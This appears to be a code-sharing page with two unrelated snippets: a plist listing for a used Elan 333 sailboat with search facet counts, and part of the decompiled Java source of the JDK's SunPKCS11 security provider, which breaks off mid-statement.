<key>BoatCityName</key> <string>Lignano Sabbiadoro</string> <key>BoatCountryID</key> <string>IT</string> <key>BoatStateCode</key> <string></string> </dict> <key>BoatCityNameNoCaseAlnumOnly</key> <string>Lignano Sabbiadoro</string> <key>MakeString</key> <string>Elan</string> <key>MakeStringExact</key> <string>Elan</string> <key>MakeStringNoCaseAlnumOnly</key> <string>Elan</string> <key>ModelYear</key> <integer>2000</integer> <key>SaleClassCode</key> <string>Used</string> <key>Model</key> <integer>333</integer> <key>ModelExact</key> <integer>333</integer> <key>ModelNoCaseAlnumOnly</key> <integer>333</integer> <key>BoatCategoryCode</key> <string>Sail</string> <key>BoatName</key> <string></string> <key>BoatNameNoCaseAlnumOnly</key> <string></string> <key>BuilderName</key> <string></string> <key>DesignerName</key> <string></string> <key>CruisingSpeedMeasure</key> <string></string> <key>PropellerCruisingSpeed</key> <string></string> <key>MaximumSpeedMeasure</key> <string></string> <key>RangeMeasure</key> <string></string> <key>BridgeClearanceMeasure</key> <string></string> <key>BeamMeasure</key> <string>11.35 ft</string> <key>FreeBoardMeasure</key> <string></string> <key>CabinHeadroomMeasure</key> <string></string> <key>WaterTankCountNumeric</key> <integer>2</integer> <key>WaterTankCapacityMeasure</key> <string>100|liter</string> <key>WaterTankMaterialCode</key> <string>Stainless Steel</string> <key>FuelTankCountNumeric</key> <integer>1</integer> <key>FuelTankCapacityMeasure</key> <string>70|liter</string> <key>FuelTankMaterialCode</key> <string></string> <key>DryWeightMeasure</key> <string>11,464.04 lb</string> <key>BallastWeightMeasure</key> <string></string> <key>DisplacementMeasure</key> <string></string> <key>DisplacementTypeCode</key> <string></string> <key>TotalEnginePowerQuantity</key> <string>29 hp</string> <key>DriveTypeCode</key> <string></string> <key>BoatKeelCode</key> <string></string> <key>ConvertibleSaloonIndicator</key> <true/> <key>WindlassTypeCode</key> <string></string> <key>DeadriseMeasure</key> <string></string> <key>ElectricalCircuitMeasure</key> <string></string> <key>TrimTabsIndicator</key> <false/> <key>DoubleBerthsCountNumeric</key> <integer>2</integer> <key>CabinsCountNumeric</key> <integer>2</integer> <key>BoatHullMaterialCode</key> <string>Fiberglass</string> <key>BoatHullID</key> <string></string> <key>StockNumber</key> <string></string> <key>NominalLength</key> <string>34.45 ft</string> <key>MaxDraft</key> <string>6.23 ft</string> <key>TaxStatusCode</key> <string>Paid</string> <key>IMTTimeStamp</key> <string>2018-02-18T06:35:46Z</string> <key>HasBoatHullID</key> <false/> <key>IsAvailableForPls</key> <false/> <key>NormNominalLength</key> <real>10.5</real> <key>NormPrice</key> <real>54590.8</real> <key>OptionActiveIndicator</key> <false/> <key>Engines</key> <array> <dict> <key>Make</key> <string>Yanmar</string> <key>Model</key> <string>3gm30</string> <key>Fuel</key> <string>diesel</string> <key>EnginePower</key> <string>29|horsepower</string> <key>Year</key> <integer>2000</integer> <key>Hours</key> <real>1300</real> </dict> </array> <key>Service</key> <array> <string>export.cdb</string> <string>imt.beta</string> <string>branding.imt.features.boats.display</string> <string>imt.product.boat</string> <string>branding.imt.boatscentral</string> <string>imt.layout.newui</string> <string>boats.com.service.level.premium</string> <string>account.type.dealer</string> <string>boats.com.featured.boats</string> <string>imt.vbs</string> <string>boats.com.c2a.buy</string> <string>boats.com.c2a.more</string> <string>boats.com.c2a.brochure</string> <string>boats.com.c2a.appointment</string> <string>boats.com.c2a.tradein</string> <string>boats.com</string> <string>export.boats</string> <string>imt.tracker.regular</string> </array> <key>GeneralBoatDescription</key> <array> <string>&lt;p&gt;&lt;strong&gt;Elan 333, bellissimo , in piu' che eccellenti condizioni generali , interni perfetti , avvolgiranda , avvolgifiocco.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;-&lt;/strong&gt;&lt;strong&gt;Tagliandi regolari, alaggi invernali, la velocita di crocera a 2500 giri e di 6.7 nodi&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;-&lt;/strong&gt;&lt;strong&gt;Due prese corrente 220 sia a poppa che a prua&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;-&lt;/strong&gt;&lt;strong&gt;Una randa in dacron, due fiocchi un gennaker&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Rimessata d'inverno sempre a terra&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt;</string> </array> <key>BoatClassCode</key> <array> <string>Cruisers</string> </array> <key>BoatClassCodeNoCaseAlnumOnly</key> <array> <string>Cruisers</string> </array> <key>AdditionalDetailDescription</key> <array> <string>&lt;strong&gt;Disclaimer&lt;/strong&gt;&lt;br&gt;La Societ&amp;agrave; pubblica i dettagli di questa imbarcazione in buona fede e non pu&amp;ograve; pertanto avvallare o garantire l'esattezza di tale informazione</string> </array> <key>Images</key> <array> <dict> <key>Priority</key> <integer>0</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062813083_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>1</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180123081703157_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>2</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062638282_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>3</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062753803_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>4</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062725795_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>5</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180127062711986_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>6</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062743549_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>7</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062715958_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>8</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062656996_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>9</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180123081719852_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>10</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062734832_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>11</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062705939_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>12</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180124062801848_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>13</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180127063012657_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> <dict> <key>Priority</key> <integer>14</integer> <key>Caption</key> <string></string> <key>Uri</key> <string>https://imt.boatwizard.com/images/1/3/72/6590372_20180127063613625_1_XLARGE.jpg</string> <key>LastModifiedDateTime</key> <string></string> </dict> </array> <key>Marketing</key> <array> <dict> <key>OpportunityType</key> <string></string> <key>OpportunityMethod</key> <string>CUSTOM_CONTACT_SHOW_BROKER</string> <key>ProgramID</key> <string>PUBLIC</string> <key>ProgramDescription</key> <string></string> <key>ProgramOffer</key> <string></string> <key>PublicationID</key> <string></string> <key>MarketingID</key> <string></string> </dict> </array> <key>TotalEngineHoursNumeric</key> <real>1300</real> </dict> </array> <key>facets</key> <dict> <key>price</key> <dict> <key>price&lt;1000EUR</key> <integer>647683</integer> <key>price1000-40000EUR</key> <integer>1289785</integer> <key>price40000-90000000EUR</key> <integer>1030454</integer> <key>price&gt;90000000EUR</key> <integer>425</integer> </dict> <key>make</key> <dict> <key>tracker</key> <integer>326543</integer> <key>sea</key> <integer>219908</integer> <key>ray</key> <integer>150520</integer> <key>sun</key> <integer>90626</integer> <key>lowe</key> <integer>68638</integer> <key>bayliner</key> <integer>61432</integer> <key>lund</key> <integer>61370</integer> <key>boats</key> <integer>61009</integer> <key>bennington</key> <integer>58211</integer> <key>crestliner</key> <integer>49035</integer> <key>yamaha</key> <integer>47759</integer> <key>beneteau</key> <integer>45735</integer> <key>yachts</key> <integer>40206</integer> <key>boston</key> <integer>39529</integer> <key>whaler</key> <integer>39502</integer> <key>craft</key> <integer>38939</integer> <key>chaparral</key> <integer>38109</integer> <key>nitro</key> <integer>35419</integer> <key>ranger</key> <integer>31223</integer> <key>jeanneau</key> <integer>31176</integer> <key>tahoe</key> <integer>29609</integer> <key>white</key> <integer>29460</integer> <key>grady</key> <integer>29018</integer> <key>gradywhite</key> <integer>28714</integer> <key>seadoo</key> <integer>28609</integer> <key>doo</key> <integer>28164</integer> <key>regal</key> <integer>28105</integer> <key>cobalt</key> <integer>24241</integer> <key>carver</key> <integer>24154</integer> <key>winns</key> <integer>23189</integer> <key>chris</key> <integer>23156</integer> <key>four</key> <integer>23080</integer> <key>catalina</key> <integer>22989</integer> <key>princess</key> <integer>22882</integer> <key>mako</key> <integer>22653</integer> <key>chriscraft</key> <integer>22285</integer> <key>harris</key> <integer>22114</integer> <key>malibu</key> <integer>21565</integer> <key>hurricane</key> <integer>21302</integer> <key>marine</key> <integer>21288</integer> <key>mastercraft</key> <integer>20334</integer> <key>pursuit</key> <integer>20186</integer> <key>hunter</key> <integer>19810</integer> <key>sweetwater</key> <integer>18969</integer> <key>wellcraft</key> <integer>18850</integer> <key>crownline</key> <integer>18822</integer> <key>princecraft</key> <integer>17883</integer> <key>monterey</key> <integer>17423</integer> <key>formula</key> <integer>17290</integer> <key>bavaria</key> <integer>16540</integer> <key>rinker</key> <integer>16496</integer> <key>cruisers</key> <integer>15974</integer> <key>3</key> <integer>15664</integer> <key>carolina</key> <integer>15656</integer> <key>key</key> <integer>15648</integer> <key>g</key> <integer>15577</integer> <key>hunt</key> <integer>15506</integer> <key>pro</key> <integer>15465</integer> <key>starcraft</key> <integer>15232</integer> <key>west</key> <integer>14795</integer> <key>bay</key> <integer>14476</integer> <key>tige</key> <integer>14352</integer> <key>nauticstar</key> <integer>14319</integer> <key>custom</key> <integer>14049</integer> <key>skeeter</key> <integer>13996</integer> <key>triton</key> <integer>13959</integer> <key>sunseeker</key> <integer>13919</integer> <key>skiff</key> <integer>13901</integer> <key>azimut</key> <integer>13767</integer> <key>alumacraft</key> <integer>13445</integer> <key>fairline</key> <integer>13411</integer> <key>tiara</key> <integer>13254</integer> <key>silverton</key> <integer>13040</integer> <key>maxum</key> <integer>12925</integer> <key>robalo</key> <integer>12823</integer> <key>glastron</key> <integer>12189</integer> <key>scout</key> <integer>11780</integer> <key>c</key> <integer>10641</integer> <key>larson</key> <integer>10608</integer> <key>nautique</key> <integer>10278</integer> <key>hatteras</key> <integer>10270</integer> <key>stingray</key> <integer>10204</integer> <key>sylvan</key> <integer>10120</integer> <key>grand</key> <integer>9864</integer> <key>fox</key> <integer>9672</integer> <key>sportsman</key> <integer>9591</integer> <key>viking</key> <integer>9517</integer> <key>xpress</key> <integer>9257</integer> <key>avalon</key> <integer>9037</integer> <key>line</key> <integer>8788</integer> <key>tidewater</key> <integer>8261</integer> <key>crest</key> <integer>8255</integer> <key>ocean</key> <integer>8179</integer> <key>sealine</key> <integer>8122</integer> <key>flotebote</key> <integer>8048</integer> <key>sports</key> <integer>7974</integer> <key>harbor</key> <integer>7737</integer> <key>south</key> <integer>7722</integer> <key>cc</key> <integer>7582</integer> <key>premier</key> <integer>7566</integer> <key>bertram</key> <integer>7554</integer> <key>polar</key> <integer>7424</integer> <key>cobia</key> <integer>7400</integer> <key>dufour</key> <integer>7332</integer> <key>mainship</key> <integer>7295</integer> <key>proline</key> <integer>7131</integer> <key>cranchi</key> <integer>7124</integer> <key>j</key> <integer>7100</integer> <key>axis</key> <integer>6949</integer> <key>baja</key> <integer>6889</integer> <key>pontoons</key> <integer>6860</integer> <key>banks</key> <integer>6834</integer> <key>kraft</key> <integer>6812</integer> <key>ferretti</key> <integer>6801</integer> <key>waverunner</key> <integer>6795</integer> <key>manitou</key> <integer>6730</integer> <key>luhrs</key> <integer>6574</integer> <key>parker</key> <integer>6534</integer> <key>hydra</key> <integer>6384</integer> <key>boat</key> <integer>6244</integer> <key>contender</key> <integer>6160</integer> <key>everglades</key> <integer>6110</integer> <key>cat</key> <integer>6107</integer> <key>fountain</key> <integer>6051</integer> <key>lagoon</key> <integer>5989</integer> <key>hydrasports</key> <integer>5983</integer> <key>moomba</key> <integer>5961</integer> <key>island</key> <integer>5874</integer> <key>cay</key> <integer>5867</integer> <key>cypress</key> <integer>5864</integer> <key>pearson</key> <integer>5753</integer> <key>sport</key> <integer>5653</integer> <key>zodiac</key> <integer>5427</integer> <key>regulator</key> <integer>5409</integer> <key>hallberg</key> <integer>5396</integer> <key>rassy</key> <integer>5391</integer> <key>century</key> <integer>5374</integer> <key>sailfish</key> <integer>5221</integer> <key>cape</key> <integer>5073</integer> <key>scarab</key> <integer>4919</integer> <key>edgewater</key> <integer>4915</integer> <key>donzi</key> <integer>4841</integer> <key>seaswirl</key> <integer>4799</integer> <key>hallbergrassy</key> <integer>4774</integer> <key>riva</key> <integer>4565</integer> <key>regency</key> <integer>4536</integer> <key>trojan</key> <integer>4493</integer> <key>supra</key> <integer>4461</integer> <key>hanse</key> <integer>4400</integer> <key>wave</key> <integer>4397</integer> <key>centurion</key> <integer>4385</integer> <key>pershing</key> <integer>4363</integer> <key>sabre</key> <integer>4270</integer> <key>blue</key> <integer>4224</integer> <key>misty</key> <integer>4206</integer> <key>pathfinder</key> <integer>4177</integer> <key>riviera</key> <integer>4042</integer> <key>stratos</key> <integer>4015</integer> <key>meridian</key> <integer>3986</integer> <key>trophy</key> <integer>3945</integer> <key>aqua</key> <integer>3799</integer> <key>sessa</key> <integer>3761</integer> <key>packet</key> <integer>3739</integer> <key>smoker</key> <integer>3734</integer> <key>bentley</key> <integer>3686</integer> <key>intrepid</key> <integer>3564</integer> <key>albin</key> <integer>3533</integer> <key>pajot</key> <integer>3498</integer> <key>moody</key> <integer>3496</integer> <key>fisher</key> <integer>3458</integer> <key>patio</key> <integer>3450</integer> <key>fountaine</key> <integer>3445</integer> <key>cabo</key> <integer>3416</integer> <key>westerly</key> <integer>3368</integer> <key>yacht</key> <integer>3306</integer> <key>quicksilver</key> <integer>3285</integer> <key>sanlorenzo</key> <integer>3283</integer> <key>world</key> <integer>3260</integer> <key>tartan</key> <integer>3249</integer> <key>seaark</key> <integer>3228</integer> <key>phoenix</key> <integer>3194</integer> <key>mercury</key> <integer>3158</integer> <key>dory</key> <integer>3144</integer> <key>morgan</key> <integer>3100</integer> <key>doral</key> <integer>3067</integer> <key>cantieri</key> <integer>3035</integer> <key>inflatables</key> <integer>2984</integer> <key>x</key> <integer>2972</integer> <key>dehler</key> <integer>2954</integer> <key>classic</key> <integer>2909</integer> <key>seacraft</key> <integer>2904</integer> <key>ericson</key> <integer>2901</integer> <key>correct</key> <integer>2893</integer> <key>suncatcher</key> <integer>2869</integer> <key>o</key> <integer>2855</integer> <key>tollycraft</key> <integer>2851</integer> <key>tugs</key> <integer>2827</integer> <key>berkshire</key> <integer>2805</integer> <key>day</key> <integer>2801</integer> <key>aquasport</key> <integer>2800</integer> <key>oday</key> <integer>2764</integer> <key>caravelle</key> <integer>2727</integer> <key>albemarle</key> <integer>2715</integer> <key>elan</key> <integer>2653</integer> <key>pioneer</key> <integer>2644</integer> <key>pacific</key> <integer>2593</integer> <key>alexander</key> <integer>2588</integer> <key>barletta</key> <integer>2579</integer> <key>eagle</key> <integer>2528</integer> <key>prestige</key> <integer>2512</integer> <key>s</key> <integer>2504</integer> <key>sunchaser</key> <integer>2494</integer> <key>chaser</key> <integer>2413</integer> <key>xyachts</key> <integer>2394</integer> <key>blackfin</key> <integer>2386</integer> <key>angler</key> <integer>2371</integer> <key>striper</key> <integer>2355</integer> <key>north</key> <integer>2324</integer> <key>trader</key> <integer>2306</integer> <key>mariah</key> <integer>2297</integer> <key>rodman</key> <integer>2281</integer> <key>egg</key> <integer>2275</integer> <key>hewescraft</key> <integer>2262</integer> <key>cal</key> <integer>2229</integer> <key>hinckley</key> <integer>2217</integer> <key>yellowfin</key> <integer>2207</integer> <key>ab</key> <integer>2199</integer> <key>godfrey</key> <integer>2193</integer> <key>bass</key> <integer>2189</integer> <key>apex</key> <integer>2121</integer> <key>jc</key> <integer>2104</integer> <key>war</key> <integer>2084</integer> <key>shamrock</key> <integer>2064</integer> <key>majek</key> <integer>2057</integer> <key>najad</key> <integer>2040</integer> <key>veranda</key> <integer>2039</integer> <key>2</key> <integer>2038</integer> <key>nautor</key> <integer>2031</integer> <key>pontoon</key> <integer>2018</integer> <key>nordic</key> <integer>2014</integer> <key>jupiter</key> <integer>2010</integer> <key>triumph</key> <integer>1999</integer> <key>ebbtide</key> <integer>1998</integer> <key>van</key> <integer>1997</integer> <key>bryant</key> <integer>1988</integer> <key>astondoa</key> <integer>1954</integer> <key>glacier</key> <integer>1948</integer> <key>kawasaki</key> <integer>1936</integer> <key>cove</key> <integer>1935</integer> <key>gibson</key> <integer>1932</integer> <key>sanpan</key> <integer>1932</integer> <key>excel</key> <integer>1930</integer> <key>soleil</key> <integer>1915</integer> <key>mirrocraft</key> <integer>1913</integer> <key>islander</key> <integer>1900</integer> <key>bristol</key> <integer>1890</integer> <key>mb</key> <integer>1883</integer> <key>sundance</key> <integer>1879</integer> <key>irwin</key> <integer>1864</integer> <key>allmand</key> <integer>1838</integer> <key>river</key> <integer>1814</integer> <key>gulfstar</key> <integer>1800</integer> <key>motor</key> <integer>1797</integer> <key>qwest</key> <integer>1794</integer> <key>vee</key> <integer>1790</integer> <key>suncruiser</key> <integer>1786</integer> <key>de</key> <integer>1782</integer> <key>leopard</key> <integer>1772</integer> <key>largo</key> <integer>1765</integer> <key>uniflite</key> <integer>1760</integer> <key>macgregor</key> <integer>1758</integer> <key>bluewater</key> <integer>1749</integer> <key>lee</key> <integer>1735</integer> <key>nimbus</key> <integer>1732</integer> <key>master</key> <integer>1728</integer> <key>galeon</key> <integer>1698</integer> <key>cheoy</key> <integer>1679</integer> <key>horn</key> <integer>1674</integer> <key>stamas</key> <integer>1647</integer> <key>californian</key> <integer>1641</integer> <key>tayana</key> <integer>1638</integer> <key>inc</key> <integer>1637</integer> <key>endeavour</key> <integer>1630</integer> <key>sportcraft</key> <integer>1622</integer> <key>rampage</key> <integer>1611</integer> <key>jet</key> <integer>1596</integer> <key>legend</key> <integer>1587</integer> <key>atlantis</key> <integer>1574</integer> <key>back</key> <integer>1536</integer> <key>epic</key> <integer>1533</integer> <key>beach</key> <integer>1525</integer> <key>jefferson</key> <integer>1520</integer> <key>cruiser</key> <integer>1517</integer> <key>cigarette</key> <integer>1515</integer> <key>shearwater</key> <integer>1499</integer> <key>benetti</key> <integer>1495</integer> <key>sanger</key> <integer>1466</integer> <key>hobie</key> <integer>1462</integer> <key>palm</key> <integer>1456</integer> <key>rio</key> <integer>1456</integer> </dict> <key>condition</key> <dict> <key>Used</key> <integer>1865397</integer> <key>New</key> <integer>1169545</integer> <key>Other</key> <integer>5647</integer> </dict> <key>radius</key> <dict> <key>radius&lt;10kilometer</key> <integer>0</integer> <key>radius&lt;200kilometer</key> <integer>69236</integer> <key>radius&lt;300kilometer</key> <integer>104457</integer> <key>radius&gt;300kilometer</key> <integer>1613828</integer> </dict> <key>length</key> <dict> <key>length&lt;10meter</key> <integer>2267466</integer> <key>length10-20meter</key> <integer>693359</integer> <key>length&gt;20meter</key> <integer>76922</integer> </dict> </dict> </dict> </plist>

    From user jgamble77

  • lord925 / this-.-is-great-

    unknown-21-m, // // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package sun.security.pkcs11; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.NotSerializableException; import java.io.ObjectStreamException; import java.io.Serializable; import java.security.AccessController; import java.security.AuthProvider; import java.security.InvalidParameterException; import java.security.Key; import java.security.NoSuchAlgorithmException; import java.security.PrivilegedAction; import java.security.PrivilegedActionException; import java.security.PrivilegedExceptionAction; import java.security.ProviderException; import java.security.Security; import java.security.SecurityPermission; import java.security.Provider.Service; import java.security.interfaces.DSAPrivateKey; import java.security.interfaces.DSAPublicKey; import java.security.interfaces.ECPrivateKey; import java.security.interfaces.ECPublicKey; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import java.text.MessageFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Map.Entry; import javax.crypto.interfaces.DHPrivateKey; import javax.crypto.interfaces.DHPublicKey; import javax.security.auth.Subject; import javax.security.auth.callback.Callback; import javax.security.auth.callback.CallbackHandler; import javax.security.auth.callback.PasswordCallback; import javax.security.auth.login.FailedLoginException; import javax.security.auth.login.LoginException; import sun.security.ec.ECParameters; import sun.security.pkcs11.Secmod.DbMode; import sun.security.pkcs11.Secmod.Module; import sun.security.pkcs11.Secmod.ModuleType; import sun.security.pkcs11.wrapper.CK_C_INITIALIZE_ARGS; import sun.security.pkcs11.wrapper.CK_INFO; import sun.security.pkcs11.wrapper.CK_MECHANISM_INFO; import sun.security.pkcs11.wrapper.CK_SLOT_INFO; import sun.security.pkcs11.wrapper.Functions; import sun.security.pkcs11.wrapper.PKCS11; import sun.security.pkcs11.wrapper.PKCS11Exception; import sun.security.util.Debug; import sun.security.util.ResourcesMgr; public final class SunPKCS11 extends AuthProvider { private static final long serialVersionUID = -1354835039035306505L; static final Debug debug = Debug.getInstance("sunpkcs11"); private static int dummyConfigId; final PKCS11 p11; private final String configName; final Config config; final long slotID; private CallbackHandler pHandler; private final Object LOCK_HANDLER; final boolean removable; final Module nssModule; final boolean nssUseSecmodTrust; private volatile Token token; private SunPKCS11.TokenPoller poller; private static final Map<Integer, List<SunPKCS11.Descriptor>> descriptors = new HashMap(); private static final String MD = "MessageDigest"; private static final String SIG = "Signature"; private static final String KPG = "KeyPairGenerator"; private static final String KG = "KeyGenerator"; private static final String AGP = "AlgorithmParameters"; private static final String KF = "KeyFactory"; private static final String SKF = "SecretKeyFactory"; private static final String CIP = "Cipher"; private static final String MAC = "Mac"; private static final String KA = "KeyAgreement"; private static final String KS = "KeyStore"; private static final String SR = "SecureRandom"; Token getToken() { return this.token; } public SunPKCS11() { super("SunPKCS11-Dummy", 1.8D, "SunPKCS11-Dummy"); this.LOCK_HANDLER = new Object(); throw new ProviderException("SunPKCS11 requires configuration file argument"); } public SunPKCS11(String var1) { this((String)checkNull(var1), (InputStream)null); } public SunPKCS11(InputStream var1) { this(getDummyConfigName(), (InputStream)checkNull(var1)); } private static <T> T checkNull(T var0) { if (var0 == null) { throw new NullPointerException(); } else { return var0; } } private static synchronized String getDummyConfigName() { int var0 = ++dummyConfigId; return "---DummyConfig-" + var0 + "---"; } /** @deprecated */ @Deprecated public SunPKCS11(String var1, InputStream var2) { super("SunPKCS11-" + Config.getConfig(var1, var2).getName(), 1.8D, Config.getConfig(var1, var2).getDescription()); this.LOCK_HANDLER = new Object(); this.configName = var1; this.config = Config.removeConfig(var1); if (debug != null) { System.out.println("SunPKCS11 loading " + var1); } String var3 = this.config.getLibrary(); String var4 = this.config.getFunctionList(); long var5 = (long)this.config.getSlotID(); int var7 = this.config.getSlotListIndex(); boolean var8 = this.config.getNssUseSecmod(); boolean var9 = this.config.getNssUseSecmodTrust(); Module var10 = null; String var13; if (var8) { Secmod var11 = Secmod.getInstance(); DbMode var12 = this.config.getNssDbMode(); String var14; try { var13 = this.config.getNssLibraryDirectory(); var14 = this.config.getNssSecmodDirectory(); boolean var15 = this.config.getNssOptimizeSpace(); if (var11.isInitialized()) { String var16; if (var14 != null) { var16 = var11.getConfigDir(); if (var16 != null && !var16.equals(var14)) { throw new ProviderException("Secmod directory " + var14 + " invalid, NSS already initialized with " + var16); } } if (var13 != null) { var16 = var11.getLibDir(); if (var16 != null && !var16.equals(var13)) { throw new ProviderException("NSS library directory " + var13 + " invalid, NSS already initialized with " + var16); } } } else { if (var12 != DbMode.NO_DB) { if (var14 == null) { throw new ProviderException("Secmod not initialized and nssSecmodDirectory not specified"); } } else if (var14 != null) { throw new ProviderException("nssSecmodDirectory must not be specified in noDb mode"); } var11.initialize(var12, var14, var13, var15); } } catch (IOException var20) { throw new ProviderException("Could not initialize NSS", var20); } List var26 = var11.getModules(); if (this.config.getShowInfo()) { System.out.println("NSS modules: " + var26); } var14 = this.config.getNssModule(); if (var14 == null) { var10 = var11.getModule(ModuleType.FIPS); if (var10 != null) { var14 = "fips"; } else { var14 = var12 == DbMode.NO_DB ? "crypto" : "keystore"; } } if (var14.equals("fips")) { var10 = var11.getModule(ModuleType.FIPS); var9 = true; var4 = "FC_GetFunctionList"; } else if (var14.equals("keystore")) { var10 = var11.getModule(ModuleType.KEYSTORE); var9 = true; } else if (var14.equals("crypto")) { var10 = var11.getModule(ModuleType.CRYPTO); } else if (var14.equals("trustanchors")) { var10 = var11.getModule(ModuleType.TRUSTANCHOR); var9 = true; } else { if (!var14.startsWith("external-")) { throw new ProviderException("Unknown NSS module: " + var14); } int var27; try { var27 = Integer.parseInt(var14.substring("external-".length())); } catch (NumberFormatException var19) { var27 = -1; } if (var27 < 1) { throw new ProviderException("Invalid external module: " + var14); } int var30 = 0; Iterator var17 = var26.iterator(); while(var17.hasNext()) { Module var18 = (Module)var17.next(); if (var18.getType() == ModuleType.EXTERNAL) { ++var30; if (var30 == var27) { var10 = var18; break; } } } if (var10 == null) { throw new ProviderException("Invalid module " + var14 + ": only " + var30 + " external NSS modules available"); } } if (var10 == null) { throw new ProviderException("NSS module not available: " + var14); } if (var10.hasInitializedProvider()) { throw new ProviderException("Secmod module already configured"); } var3 = var10.libraryName; var7 = var10.slot; } this.nssUseSecmodTrust = var9; this.nssModule = var10; File var23 = new File(var3); if (!var23.getName().equals(var3) && !(new File(var3)).isFile()) { String var25 = "Library " + var3 + " does not exist"; if (this.config.getHandleStartupErrors() == 1) { throw new ProviderException(var25); } else { throw new UnsupportedOperationException(var25); } } else { try { if (debug != null) { debug.println("Initializing PKCS#11 library " + var3); } CK_C_INITIALIZE_ARGS var24 = new CK_C_INITIALIZE_ARGS(); var13 = this.config.getNssArgs(); if (var13 != null) { var24.pReserved = var13; } var24.flags = 2L; PKCS11 var28; try { var28 = PKCS11.getInstance(var3, var4, var24, this.config.getOmitInitialize()); } catch (PKCS11Exception var21) { if (debug != null) { debug.println("Multi-threaded initialization failed: " + var21); } if (!this.config.getAllowSingleThreadedModules()) { throw var21; } if (var13 == null) { var24 = null; } else { var24.flags = 0L; } var28 = PKCS11.getInstance(var3, var4, var24, this.config.getOmitInitialize()); } this.p11 = var28; CK_INFO var29 = this.p11.C_GetInfo(); if (var29.cryptokiVersion.major < 2) { throw new ProviderException("Only PKCS#11 v2.0 and later supported, library version is v" + var29.cryptokiVersion); } else { boolean var32 = this.config.getShowInfo(); if (var32) { System.out.println("Information for provider " + this.getName()); System.out.println("Library info:"); System.out.println(var29); } if (var5 < 0L || var32) { long[] var31 = this.p11.C_GetSlotList(false); if (var32) { System.out.println("All slots: " + toString(var31)); var31 = this.p11.C_GetSlotList(true); System.out.println("Slots with tokens: " + toString(var31)); } if (var5 < 0L) { if (var7 < 0 || var7 >= var31.length) { throw new ProviderException("slotListIndex is " + var7 + " but token only has " + var31.length + " slots"); } var5 = var31[var7]; } } this.slotID = var5; CK_SLOT_INFO var33 = this.p11.C_GetSlotInfo(var5); this.removable = (var33.flags & 2L) != 